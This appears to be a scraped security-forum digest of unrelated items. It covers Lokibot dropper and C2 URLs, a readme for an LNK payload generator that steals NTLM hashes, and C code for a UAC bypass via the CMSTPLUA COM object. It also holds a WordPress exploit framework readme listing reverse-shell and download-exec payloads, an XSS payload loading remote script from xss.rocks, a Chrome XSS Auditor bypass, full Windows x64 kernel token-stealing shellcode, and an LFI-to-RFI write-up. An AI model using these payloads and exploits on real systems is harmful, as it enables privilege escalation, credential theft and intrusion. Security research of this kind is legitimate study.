hxxp://multplelabs[dot]com/ema/order.doc - CVE-2012-0158 hxxp://multplelabs[dot]com/ema/nextyl.exe - dropper hxxp://multplelabs[dot]com/freem/50/fre.php - Lokibot C2 Posted by Vanja Svajcer at 12:55 PM Sursa: http://blog.talosintelligence.com/2017/08/when-combining-exploits-for-added.html

LNKUp LNK Data exfiltration payload generator This tool will allow you to generate LNK payloads. Upon rendering or being run, they will exfiltrate data. Info I am not responsible for any actions you take with this tool! You can contact me with any questions by opening an issue, or via my Twitter, @Plazmaz. Known gotchas This tool will not work on OSX or Linux machines. It is specifically designed to target windows. There may be issues with icon caching in some situations. If your payload doesn't execute after the first time, try regenerating it. You will need to run a responder or metasploit module server to capture NTLM hashes. To capture environment variables, you'll need to run a webserver like apache, nginx, or even just this Installation Install requirements using pip install -r requirements.txt Usage Payload types: NTLM Steals the user's NTLM hash when rendered. Needs listener server such as this metasploit module More on NTLM hashes leaking: https://dylankatz.com/NTLM-Hashes-Microsoft's-Ancient-Design-Flaw/ Example usage: lnkup.py --host localhost --type ntlm --output out.lnk Environment Steals the user's environment variables. Examples: %PATH%, %USERNAME%, etc Requires variables to be set using --vars Example usage: lnkup.py --host localhost --type environment --vars PATH USERNAME JAVA_HOME --output out.lnk Extra: Use --execute to specify a command to run when the shortcut is double clicked Example: lnkup.py --host localhost --type ntlm --output out.lnk --execute "shutdown /s" Sursa: https://github.com/Plazmaz/LNKUp

typedef interface ICMLuaUtil ICMLuaUtil; typedef struct ICMLuaUtilVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE *QueryInterface)( __RPC__in ICMLuaUtil * This, __RPC__in REFIID riid, _COM_Outptr_ void **ppvObject); ULONG(STDMETHODCALLTYPE *AddRef)( __RPC__in ICMLuaUtil * This); ULONG(STDMETHODCALLTYPE *Release)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method1)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method2)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method3)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method4)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method5)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method6)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *ShellExec)( __RPC__in ICMLuaUtil * This, _In_ LPCTSTR lpFile, _In_opt_ LPCTSTR lpParameters, _In_opt_ LPCTSTR lpDirectory, _In_ ULONG fMask, _In_ ULONG nShow ); HRESULT(STDMETHODCALLTYPE *Method8)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method9)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method10)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method11)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method12)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method13)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method14)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method15)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method16)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method17)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method18)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method19)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method20)( __RPC__in ICMLuaUtil * This); END_INTERFACE } *PICMLuaUtilVtbl; interface ICMLuaUtil { CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl; }; #define T_CLSID_CMSTPLUA L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" #define T_IID_ICMLuaUtil L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}" VOID Method41_Test() { HRESULT r = E_FAIL; BOOL bCond = FALSE; IID xIID_ICMLuaUtil; CLSID xCLSID_ICMLuaUtil; ICMLuaUtil *CMLuaUtil = NULL; BIND_OPTS3 bop; WCHAR szElevationMoniker[MAX_PATH]; do { if (CLSIDFromString(T_CLSID_CMSTPLUA, &xCLSID_ICMLuaUtil) != NOERROR) { break; } if (IIDFromString(T_IID_ICMLuaUtil, &xIID_ICMLuaUtil) != S_OK) { break; } RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker)); _strcpy(szElevationMoniker, L"Elevation:Administrator!new:"); _strcat(szElevationMoniker, T_CLSID_CMSTPLUA); RtlSecureZeroMemory(&bop, sizeof(bop)); bop.cbStruct = sizeof(bop); bop.dwClassContext = CLSCTX_LOCAL_SERVER; r = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_ICMLuaUtil, &CMLuaUtil); if (r != S_OK) { break; } r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, L"C:\\windows\\system32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW); } while (bCond); if (CMLuaUtil != NULL) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } } Sursa: https://gist.github.com/hfiref0x/196af729106b780db1c73428b5a5d68d

Publicat pe 15 aug. 2017 Smart guns are sold with a promise: they can be fired only by authorized parties. That works in the movies, but what about in real life? In this talk, we explore the security of one of the only smart guns available for sale in the world. Three vulnerabilities will be demonstrated. First, we will show how to make the weapon fire even when separated from its owner by a considerable distance. Second, we will show how to prevent the weapon from firing even when authorized by its owner. Third, we will show how to fire the weapon even when not authorized by its owner, with no prior contact with the specific weapon, and with no modifications to the weapon.

Da, depinde de aplicatii. Daca o aplicatie deserializeaza date primite de la un utilizator, acesta, in locul obiectelor pe care aplicatia le-ar astepta, poate sa trimita alte obiecte, care la deserializare sa faca ceva interesant (e.g. executare comenzi de sistem).

wordpress-exploit-framework A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems. What do I need to run it? Ensure that you have Ruby >= 2.4.1 installed on your system and then install all required dependencies by opening a command prompt / terminal in the WPXF folder and running bundle install. If bundler is not present on your system, you can install it by running gem install bundler. Troubleshooting Installation Debian Systems If you have issues installing WPXF's dependencies (in particular, Nokogiri), first make sure you have all the tooling necessary to compile C extensions: sudo apt-get install build-essential patch It’s possible that you don’t have important development header files installed on your system. Here’s what you should do if you should find yourself in this situation: sudo apt-get install ruby-dev zlib1g-dev liblzma-dev Windows Systems If you are experiencing errors that indicate that libcurl.dll could not be loaded, you will need to ensure the latest libcurl binary is included in your Ruby bin folder, or any other folder that is in your environment's PATH variable. The latest version can be downloaded from http://curl.haxx.se/download.html As of 16/05/2016, the latest release is marked as Win32 2000/XP zip 7.40.0 libcurl SSL. After downloading the archive, extract the contents of the bin directory into your Ruby bin directory (if prompted, don't overwrite any existing DLLs). How do I use it? Open a command prompt / terminal in the directory that you have downloaded WordPress Exploit Framework to, and start it by running ruby wpxf.rb. Once loaded, you'll be presented with the wpxf prompt, from here you can search for modules using the search command or load a module using the use command. Loading a module into your environment will allow you to set options with the set command and view information about the module using info. Below is an example of how one would load the symposium_shell_upload exploit module, set the module and payload options and run the exploit against the target. wpxf > use exploit/symposium_shell_upload [+] Loaded module: #<Wpxf::Exploit::SymposiumShellUpload:0x3916f20> wpxf [exploit/symposium_shell_upload] > set host wp-sandbox [+] Set host => wp-sandbox wpxf [exploit/symposium_shell_upload] > set target_uri /wordpress/ [+] Set target_uri => /wordpress/ wpxf [exploit/symposium_shell_upload] > set payload exec [+] Loaded payload: #<Wpxf::Payloads::Exec:0x434d078> wpxf [exploit/symposium_shell_upload] > set cmd echo "Hello, world!" [+] Set cmd => echo "Hello, world!" wpxf [exploit/symposium_shell_upload] > run [-] Preparing payload... [-] Uploading the payload... [-] Executing the payload... [+] Result: Hello, world! [+] Execution finished successfully For a full list of supported commands, take a look at This Wiki Page. What is the difference between auxiliary and exploit modules? Auxiliary modules do not allow you to run payloads on the target machine, but instead allow you to extract information from the target, escalate privileges or provide denial of service functionality. Exploit modules require you to specify a payload which subsequently gets executed on the target machine, allowing you to run arbitrary code to extract information from the machine, establish a remote shell or anything else that you want to do within the context of the web server. What payloads are available? bind_php: uploads a script that will bind to a specific port and allow WPXF to establish a remote shell. custom: uploads and executes a custom PHP script. download_exec: downloads and runs a remote executable file. meterpreter_bind_tcp: a Meterpreter bind TCP payload generated using msfvenom. meterpreter_reverse_tcp: a Meterpreter reverse TCP payload generated using msfvenom. exec: runs a shell command on the remote server and returns the output to the WPXF session. reverse_tcp: uploads a script that will establish a reverse TCP shell. All these payloads, with the exception of custom and the Meterpreter payloads, will delete themselves after they have been executed, to avoid leaving them lying around on the target machine after use or in the event that they are being used to establish a shell which fails. How can I write my own modules and payloads? Guides on writing modules and payloads can be found on The Wiki and full documentation of the API can be found at http://www.getwpxf.com/. License Copyright (C) 2015 rastating Running WordPress Exploit Framework against websites without prior mutual consent may be illegal in your country. The author and parties involved in its development accept no liability and are not responsible for any misuse or damage caused by WordPress Exploit Framework. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/ Sursa: https://github.com/rastating/wordpress-exploit-framework

The Holy Book of X86 ====================== Delivered to you by Arash TC with the spirit of OpenSecurityTraining For More Tutorials and Info, Please visit: http://www.kernelfarm.com https://www.linkedin.com/in/arash-t-c-3a277bbb https://twitter.com/KernelFarm https://twitter.com/arash_tc A complete guide to x86 architecture, assembly, memory management, paging, segmentation, SMM, BIOS.... This book tends to overview and teach x86 subjects in the eyes of a reverse engineer, malware analyst or a hacker. We're not going to teach you how to build an OS or other subjects that are not related to those mentioned above. This Book will be completed and published in 3 volumes. I try to update the content as I write the book. The Hardcopy of the volume 1 & 2 may become available for purchase on Amazon later if necessary. Here's a quick overview of the content (current content): Volume 1: Pure Assembly Introduction to Intel x86 Assembly Learn the most frequently used assembly instructions and their conventions Reverse Engineer simple binaries Control structures and loops Write simple applications in pure assembly Volume 2: Internals Section 1: Raw Intel Architecture Chapter 0x01: Introduction to Intel x86 Architecture Chapter 0x02: Segmentation Chapter 0x03: Paging Chapter 0x04: Cache Control Chapter 0x05: Interrupts and Exceptions Section 2: Windows Internals Chapter 0x06: Exploring PE files Section 3: Linux Internals If you want to support the author: Please buy the Kindle or the Paperback version of Volume 1 on Amazon or CreateSpace eStore: CreateSpace eStore: https://www.createspace.com/7244052 Amazon.com: https://www.amazon.com/Holy-Book-x86-1/dp/1974170780/ref=sr_1_1?ie=UTF8&qid=1502364426&sr=8-1&keywords=the+holy+book+of+x86 Sursa: https://github.com/Captainarash/The_Holy_Book_of_X86

Attacking Self-Hosted Skype for Business/Microsoft Lync Installations August 11, 2017 TL;DR: How to attack self-hosted Skype for Business (Lync) servers. If you’re using O365 wait for the next post. Note: For the sake of brevity throughout this post, Skype for Business and Microsoft Lync will both be referred to under the umbrella designation of ‘Skype4B’. When companies choose to host Skype for Business (previously Microsoft Lync) on-premises, they can inadvertently introduce a large attack surface. Skype for Business, by design, is meant to encourage communication between individuals and it is often externally-accessible so that employees can stay connected 24×7 without the need for a VPN. This bit of convenience makes Skype4B an attractive target to attackers. In a very real sense, Skype4B provides a bridge from The Internet into a company’s internal network, allowing an attacker to interact with the internal Active Directory environment. In this blog post, I will walk through information gathering, user-enumeration, and brute-force attacks against an internal network, using only the attack-surface opened by a standard implementation of self-hosted Skype for Business. Article: https://www.trustedsec.com/2017/08/attacking-self-hosted-skype-businessmicrosoft-lync-installations/

Publicat pe 11 aug. 2017 On April 24, 2015, Apple launched themselves into the wearables category with the introduction of Apple Watch. This June, at Apple's Worldwide Developer Conference, Apple announced that their watch is not only the #1 selling smartwatch worldwide by far, but also announced the introduction of new capabilities that will come with the release of watchOS 4. Like other devices, Apple Watch contains highly sensitive user data such as email and text messages, contacts, GPS and more, and like other devices and operating systems, has become a target for malicious activity. This talk will provide an overview of Apple Watch and watchOS security mechanisms including codesign enforcement, sandboxing, memory protections and more. We will cover vulnerabilities and exploitation details and dive into the techniques used in creating an Apple Watch jailbreak. This will ultimately lead to a demonstration and explanation of jailbreaking an Apple Watch, showcasing how it can access important user data and applications.

%00%00%00%00%00%00%00<script%20src=http://xss.rocks/xss.js ></script> Sursa: https://twitter.com/0rbz_/status/896896095862669312

Chrome XSS Auditor – SVG Bypass August 14, 2017 Brute The Art of XSS Payload Building More than an year ago, in my private twitter account Brutal Secrets, I shared an interesting way to bypass Google’s Chrome anti-XSS filter called XSS Auditor. We will see now in details, from a blackbox perspective, a logical sequence of assumptions and conclusions that leads to our XSS vector responsible for the bypass. We start with a known source of trouble for all XHTML parsers (browsers) out there: Scalable Vector Graphics or SVG. Without getting deeper into the explanation of what SVG can do (check here), all we need to know is that SVG markup is way more complex than simple XML/HTML and full of unexplored resources for an attacker. Starting with a simple <svg> tag we proceed using an empty anchor, the <a> tag that creates an hyperlink. Nested to this anchor we will use a rectangle to create a larger clickable area, ending up with something like this: <svg><a><rect width=100% height=100%> check here We are now looking for a way to interact with the element but we can’t use event handlers due to Auditor’s blocking. So we will try one of the tags used in animations, notably the <animate> one. The <animate> tag takes an attribute (with attributeName) of a parent element (in our case the <rect> one) and manipulates its value, like “width” for instance. It creates the animation effect with the help of its own attributes “from”, “to” and “dur” (duration). <svg><a><rect width=100% height=100%><animate attributeName=width from=0 to=100% dur=2s> check here The interesting conclusion here is that we are in fact changing the original value of “width” attribute, in sequence. But what if we target a different attribute? Let’s take the href of the anchor (<a>) which is not set but is implicit. With some tweak in attributes and a self-closed <rect>, we are ready to go. <svg><a><rect width=100% height=100% /><animate attributeName=href to=//google.com> check here or <svg><a><rect width=100% height=100%><animate attributeName=href from=//google.com to=?> check here By clicking in our rectangle now, we are redirected to Google’s website. So to pop an alert box, we will just try to change it to “javascript:alert(1)”. Not that easy. Even an attempt to fool Auditor using HTML encoding gets blocked. <svg><a><rect width=100% height=100% /><animate attributeName=href to=javas&#99ript:alert(1)> check here We get back to SVG Attribute Reference and find an interesting alternative to “from” and “to”: animation elements can also use a “values” attribute which provides the same set of values for the animation. By simply setting “values” to “javascript:alert(1)” we get blocked again. But, surprisingly, this time we pop an alert using the HTML encoded form, “javas&#99ript:alert(1)”. Strange enough, any other arbitrary attribute with our obfuscated payload will fire a blocking but that one seems “whitelisted”! We change the <rect> for an <image> tag, more suitable to attract a victim’s click. A little addition of text/markup and… Boom! <svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javas&#99ript:alert(1)> check here This bypass was found in version 51, although it might work in several past versions. It currently works on Google Chrome v60, the latest version at the time of this publication. Sursa: https://brutelogic.com.br/blog/chrome-xss-auditor-svg-bypass/

From random block corruption to privilege escalation: A filesystem attack vector for rowhammer-like attacks Anil Kurmus Nikolas Ioannou Matthias Neugschwandtner Nikolaos Papandreou Thomas Parnell IBM Research – Zurich Abstract Rowhammer demonstrated that non-physical hardware- weakness-based attacks can be devastating. In a recent paper, Cai et al. [2] propose that similar attacks can be performed on MLC NAND flash. In this paper, we dis- cuss the requirements for a successful, full-system, lo- cal privilege escalation attack on such media, and show a filesystem based attack vector. We demonstrate the filesystem layer of this attack, showing that a random block corruption of a carefully chosen block is sufficient to achieve privilege escalation. In particular, to motivate the assumptions of this filesystem-level attack, we show the attack primitive that an attacker can obtain by making use of cell-to-cell interference is quite weak, and there- fore requires a carefully crafted attack at the OS layer for successful exploitation. Download: https://www.usenix.org/system/files/conference/woot17/woot17-paper-kurmus.pdf

A Primer to Windows x64 shellcoding • Posted by hugsy on August 14, 2017 • windows • kernel • debugging • exploit • token • shellcode Continuing on the path to Windows kernel exploitation… Thanks to the previous post, we now have a working lab for easily (and in a reasonably fast manner) debug Windows kernel. Let’s skip ahead for a minute and assume we control PC using some vulnerability in kernel land (next post), then we may want to jump back into a user allocated buffer to execute a control shellcode. So where do we go from now? How to transform this controlled PC in the kernel-land into a privileged process in user-land? The classic technique is to steal the System process token and copy it into the structure of our targeted arbitrary (but unprivileged) process (say cmd.exe). Note: our target here will the Modern.IE Windows 8.1 x64 we created in the previous post, that we’ll interact with using kd via Network debugging. Refer to previous post if you need to set it up. Stealing SYSTEM token using kd The !process extension of WinDBG provides a structured display of one or all the processes. kd> !process 0 0 System PROCESS ffffe000baa6c040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001a7000 ObjectTable: ffffc0002f403000 HandleCount: <Data Not Accessible> Image: System This leaks the address of the _EPROCESS structure in the kernel, of the proces named System. Using dt will provide a lot more info (here, massively truncated to what interests us): kd> dt _EPROCESS ffffe000baa6c040 ntdll!_EPROCESS +0x000 Pcb : _KPROCESS [...] +0x2e0 UniqueProcessId : 0x00000000`00000004 Void +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffe000`bbc54be8 - 0xfffff801`fed220a0 ] [...] +0x348 Token : _EX_FAST_REF [...] +0x430 PageDirectoryPte : 0 +0x438 ImageFileName : [15] "System" At nt!_EPROCESS.Token (+0x348) we get the process token, which holds a pointer to an “Executive Fast Reference” structure. kd> dt nt!_EX_FAST_REF ffffe000baa6c040+348 +0x000 Object : 0xffffc000`2f405598 Void +0x000 RefCnt : 0y1000 +0x000 Value : 0xffffc000`2f405598 If we nullify the last nibble of the address (i.e. AND with -0xf on x64, -7 on x86), we end up having the System token’s address: kd> ? 0xffffc000`2f405598 & -f Evaluate expression: -70367951432304 = ffffc000`2f405590 kd> dt nt!_TOKEN ffffc000`2f405590 +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x06207526`b64ceb90 +0x030 TokenLock : 0xffffe000`baa4ef90 _ERESOURCE +0x038 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES +0x058 AuditPolicy : _SEP_AUDIT_POLICY [...] Note: the WinDBG extension !token provides a more detailed (and parsed) output. You might to refer to it instead whenever you are analyzing tokens. So basically, if we create a process (say cmd.exe), and overwrite its token with the System token value we found (0xffffc0002f405590), our process will be running as System. Let’s try! We search our process using kd: kd> !process 0 0 cmd.exe PROCESS ffffe000babfd900 SessionId: 1 Cid: 09fc Peb: 7ff6fa81c000 ParentCid: 0714 DirBase: 45c4c000 ObjectTable: ffffc00036d03940 HandleCount: <Data Not Accessible> Image: cmd.exe Overwrite the offset 0x348 with the SYSTEM token pointer (0xffffc0002f405590). kd> dq ffffe000bc043900+348 l1 ffffe000`bc043c48 ffffc000`30723426 kd> eq 0xffffe000babfd900+0x348 0xffffc0002f405590 And tada … Now we know how to transform any unprivileged process into a privileged one using kd. Shellcoding our way to SYSTEM So the basic idea now, to reproduce the same steps that we did in the last part, but from our shellcode. So we need: A pointer to System EPROCESS structure, and save the token (located at offset +0x348) Look up for the current process EPROCESS structure Overwrite its token with System’s Profit! Getting the current process structure address Pointers to process structures on Windows are stored in a doubly linked list (see the member ActiveProcessLinks of nt!_EPROCESS in kd). If we have the address to one process, we can “scroll” back and forward to discover the others. But first, we need to get the address of at the least one process in the kernel. This is exactly the purpose of the routine nt!PsGetCurrentProcess, but since we can’t call it directly (thank you ASLR), we can still check what is it doing under the hood: kd> uf nt!PsGetCurrentProcess nt!PsGetCurrentProcess: fffff801`feb06e84 65488b042588010000 mov rax,qword ptr gs:[188h] fffff801`feb06e8d 488b80b8000000 mov rax,qword ptr [rax+0B8h] fffff801`feb06e94 c3 ret kd> dps gs:188 l1 002b:00000000`00000188 fffff801`fedbfa00 nt!KiInitialThread mov rax, qword ptr gs:[188h] returns a pointer to an _ETHREAD structure (more specifically the kernel thread (KTHREAD) nt!KiInitialThread). If we check the content of this structure at the offset 0xb8, we find the structure to the current process: kd> dt nt!_EPROCESS poi(nt!KiInitialThread+b8) +0x000 Pcb : _KPROCESS [...] +0x2e0 UniqueProcessId : 0x00000000`00000004 Void +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffe000`bbc54be8 - 0xfffff801`fed220a0 ] [...] +0x348 Token : _EX_FAST_REF So now we know where our current process resides in the kernel (just like kd gave us using !process 0 0 cmd.exe earlier), and therefore the first of our shellcode: mov rax, gs:0x188 mov rax, [rax + 0xb8] Browsing through the process list to reach System The processes are stored in the ActiveProcessLinks (offset 0x2e8) of the nt!_EPROCESS structure, via a _LIST_ENTRY, which is a doubly linked list in its simplest form: kd> dt _LIST_ENTRY ntdll!_LIST_ENTRY +0x000 Flink : Ptr64 _LIST_ENTRY +0x008 Blink : Ptr64 _LIST_ENTRY Since we know that System process ID is 4, we can write a very small loop in assembly, whose pseudo-C code would be: ptrProcess = curProcess while ptrProcess->UniqueProcessId != SystemProcess->UniqueProcessId (4) { ptrProcess = ptrProcess->Flink } Which builds the second part of our shellcode: ;; rax has the pointer to the current KPROCESS mov rbx, rax __loop: mov rbx, [rbx + 0x2e8] ;; +0x2e8 ActiveProcessLinks[0].Flink sub rbx, 0x2e8 ;; nextProcess mov rcx, [rbx + 0x2e0] ;; +0x2e0 UniqueProcessId cmp rcx, 4 ;; compare to target PID jnz __loop ;; here rbx hold a pointer to System structure Overwrite the current process token field with System’s This is the third and final part of our shellcode, and the easiest since everything was done in the steps above: ;; rax has the pointer to the current KPROCESS ;; rbx has the pointer to System KPROCESS mov rcx, [rbx + 0x348] ;; +0x348 Token and cl, 0xf0 ;; we must clear the lowest nibble mov [rax + 0x348], rcx The final shellcode We add a few extra instructions to correctly save and restore the context, and make sure we exit cleanly: ;; ;; Token stealing shellcode for Windows 8.1 x64 ;; ;; Save the current context on the stack push rax push rbx push rcx ;; Get the current process mov rax, gs:0x188 mov rax, [rax+0xb8] ;; Loop looking for System PID mov rbx, rax mov rbx, [rbx+0x2e8] sub rbx, 0x2e8 mov rcx, [rbx+0x2e0] cmp rcx, 4 jnz -0x19 ;; Token overwrite mov rcx, [rbx + 0x348] and cl, 0xf0 mov [rax + 0x348], rcx ;; Cleanup pop rcx pop rbx pop rax pop rax pop rax pop rax pop rax pop rax xor rax, rax ret view raw win81-token-stealing-shellcode.asm hosted with ❤ by GitHub We can now simply use any assembler (NASM, YASM) - but I have a personal preference for Keystone-Engine - to generate a bytecode version of our shellcode. #define LEN 80 const char sc[LEN] = "" "\x50" // push rax "\x53" // push rbx "\x51" // push rcx "\x48\x65\xa1\x88\x01\x00\x00\x00\x00\x00\x00" // mov rax, gs:0x188 "\x48\x8b\x80\xb8\x00\x00\x00" // mov rax, [rax+0xb8] "\x48\x89\xc3" // mov rbx, rax "\x48\x8b\x9b\xe8\x02\x00\x00" // mov rbx, [rbx+0x2e8] "\x48\x81\xeb\xe8\x02\x00\x00" // sub rbx, 0x2e8 "\x48\x8b\x8b\xe0\x02\x00\x00" // mov rcx, [rbx+0x2e0] "\x48\x83\xf9\x04" // cmp rcx, 4 "\x75\x15" // jnz 0x17 "\x48\x8b\x8b\x48\x03\x00\x00" // mov rcx, [rbx + 0x348] "\x48\x89\x88\x48\x03\x00\x00" // mov [rax + 0x348], rcx "\x59" // pop rcx "\x5b" // pop rbx "\x58" // pop rax "\x58\x58\x58\x58\x58" // pop rax; pop rax; pop rax; pop rax; pop rax; (required for proper stack return) "\x48\x31\xc0" // xor rax, rax (i.e. NT_SUCCESS) "\xc3" // ret ""; Once copied into an executable location, this shellcode will grant the current process with all System privileges. The next post will actually use this newly created shellcode in a concrete vulnerability exploitation (from the Extremely Vulnerable Driver by HackSys Team). Until then, take care! Recommended readings A Guide to Kernel Exploitation - Attacking The Core Introduction To Windows Shellcode Development x64 Kernel Privilege Escalation Well-Known Security IDentifiers Sursa: https://blahcat.github.io/2017/08/14/a-primer-to-windows-x64-shellcoding/

Turning LFI into RFI Posted on: 2017-08-14 Categories: Red Team Have you ever been testing a web application for vulnerabilities, found a local file include (LFI) that could pay serious dividends if you had the right file on the web server, but couldn’t find the right file on the server to save your life? If so, if you’ve still got access to that application you may want to revisit it after reading this. tl;dr – we’ve found a way to turn local file include (LFI) into remote file include (RFI) for a number of web frameworks My good friend and colleague Mike Brooks (aka rook) and I have been assessing some open source software and we found an avenue for code execution that relied upon having a JAR file of our choosing residing on the web server (we’ll have a full write up of the results of our assessment once CVEs and patches are out). When configured in a specific way the web application would load the JAR file and search within the file for a class. Interestingly enough, in Java classes you can define a static block that is executed upon the class being processed, as shown below: public class LoadRunner { static { System.out.println("Load runner'ed"); } public static void main(String[] args) { } } 1 2 3 4 5 6 7 8 9 public class LoadRunner { static { System.out.println("Load runner'ed"); } public static void main(String[] args) { } } Compiling and loading this Java class is shown below: Executing code on class load in Java With the ability to get code to run upon the JAR file being loaded, and the ability to point the web server to a file path to load a JAR, we thought we had this in the bag – all we had to find now was a way to get the application to reference the JAR somehow. And so we looked and we looked. We looked at all of the request handlers within the application for file uploads. We looked at other network services on the same box. We looked for ways that we could poison files on the server to potentially turn them into the JAR. And after all of this looking we came up empty handed. Mike, being the stubborn exploit extraordinaire that he is, wasn’t ready to give up. I wasn’t entirely ready myself, so we dug in deeper. It was at that point that Mike came up with a great idea… File Descriptors Sure, most frameworks take files that are uploaded and place them on the server’s disk at a path that isn’t guessable (typically using a GUID or other random identifier of some kind), but what if you didn’t need to know that file path to still reference the uploaded file? In Linux, when a process has a file open, it will have a file descriptor opened within its /proc/ directory that points to the file in question. So, if we have a process that has a PID of 1234, and that process has an open file handle to some file in a random location on the disk, that file can be accessed through one of the file descriptors in /proc/1234/fd/*. This means that instead of having to guess GUIDs or other random values, you need only to guess (or find through other means of information disclosure) the PID of an HTTP request’s handler and the file descriptor number of the uploaded file. This is a drastic reduction in the search space for referencing an uploaded file. Not only that but if you already have LFI there are often files in predictable places on disk that contain the PID number for the web server handling HTTP requests. Now this may not seem all that important so far, so allow me to evoke the late, great Billy Mays real quick… But Wait There’s More Lazily Loaded File Descriptors At this point you may be thinking “ok sure, you have reduced the amount of entropy that you have to grapple with to get an LFI working – so what?” You might also be thinking that in order to make use of this functionality you’d need to find a request handler that accepts file uploads, and hammer away at that endpoint uploading files while attempting to LFI all the PID file descriptors. This is only partly true – in the frameworks that we have tested file descriptors are lazily loaded when the FILES dictionary is accessed, and with Flask in particular this FILES dictionary is populated even on HTTP GET requests. Take the following super simple Flask app for example: # -*- coding: utf-8 -*- import os from flask import Flask, request UPLOAD_FOLDER = "/tmp" app = Flask(__name__) app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER @app.route("/", methods=["GET"]) def show_me_the_money(): x = request import code code.interact(local=locals()) if __name__ == "__main__": app.run() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # -*- coding: utf-8 -*- import os from flask import Flask, request UPLOAD_FOLDER = "/tmp" app = Flask(__name__) app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER @app.route("/", methods=["GET"]) def show_me_the_money(): x = request import code code.interact(local=locals()) if __name__ == "__main__": app.run() In this app we have a single handler that allows HTTP GET requests mounted at the base URL. Let’s run this app in an Ubuntu VM and upload a file to it and see what we can find. Even better – let’s upload a file via an HTTP GET request. For anyone that hasn’t seen the import code trick before, this is a great way to debug Python code and libraries – you’re dropped into a REPL at the code.interact call! Here’s a simple script for uploading a file via an HTTP GET request: # -*- coding: utf-8 -*- import requests response = requests.get( "http://127.0.0.1:5000/", files={ "upload_file": open("/tmp/hullo", "rb"), }, ) 1 2 3 4 5 6 7 8 9 # -*- coding: utf-8 -*- import requests response = requests.get( "http://127.0.0.1:5000/", files={ "upload_file": open("/tmp/hullo", "rb"), }, ) And looking in the file at /tmp/hullo we see lots and lots of lines with the words “Hello World”: Hello World! We then run the server and then upload the file, dropping us into a REPL within the context of the Flask request handler: The PID of the Flask request handler With the PID of the request handler we can take a look at the open file descriptors on disk: File descriptors before lazily loading uploaded file We then go back to the REPL and access the uploaded file: Lazily loading uploaded file contents Now that the file has been accessed from within the web server, let’s go back to the /proc directory and see if we can find the contents of the uploaded file (which is pointed to by file descriptor 5 as per the information above): File descriptor after lazy loading Sure enough – there is our uploaded file! For the application we are assessing we confirmed that this method of uploading and referencing a file worked just fine for the JAR we wanted to run! We can further reduce the entropy of the file location search space by uploading the same file multiple times. For example, I modified the code that submits the file upload with nine copies of the same file: # -*- coding: utf-8 -*- import requests response = requests.get( "http://127.0.0.1:5000/", files={ "upload_file": open("/tmp/hullo", "rb"), "upload_file2": open("/tmp/hullo", "rb"), "upload_file3": open("/tmp/hullo", "rb"), "upload_file4": open("/tmp/hullo", "rb"), "upload_file5": open("/tmp/hullo", "rb"), "upload_file6": open("/tmp/hullo", "rb"), "upload_file7": open("/tmp/hullo", "rb"), "upload_file8": open("/tmp/hullo", "rb"), }, ) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # -*- coding: utf-8 -*- import requests response = requests.get( "http://127.0.0.1:5000/", files={ "upload_file": open("/tmp/hullo", "rb"), "upload_file2": open("/tmp/hullo", "rb"), "upload_file3": open("/tmp/hullo", "rb"), "upload_file4": open("/tmp/hullo", "rb"), "upload_file5": open("/tmp/hullo", "rb"), "upload_file6": open("/tmp/hullo", "rb"), "upload_file7": open("/tmp/hullo", "rb"), "upload_file8": open("/tmp/hullo", "rb"), }, ) After running this script, accessing the FILES dictionary in the handler, and checking the contents of the fd directory within the request handler’s PID, we see that there are open file descriptors for all nine of the uploaded files: Nine distinct file descriptors for the same uploaded file 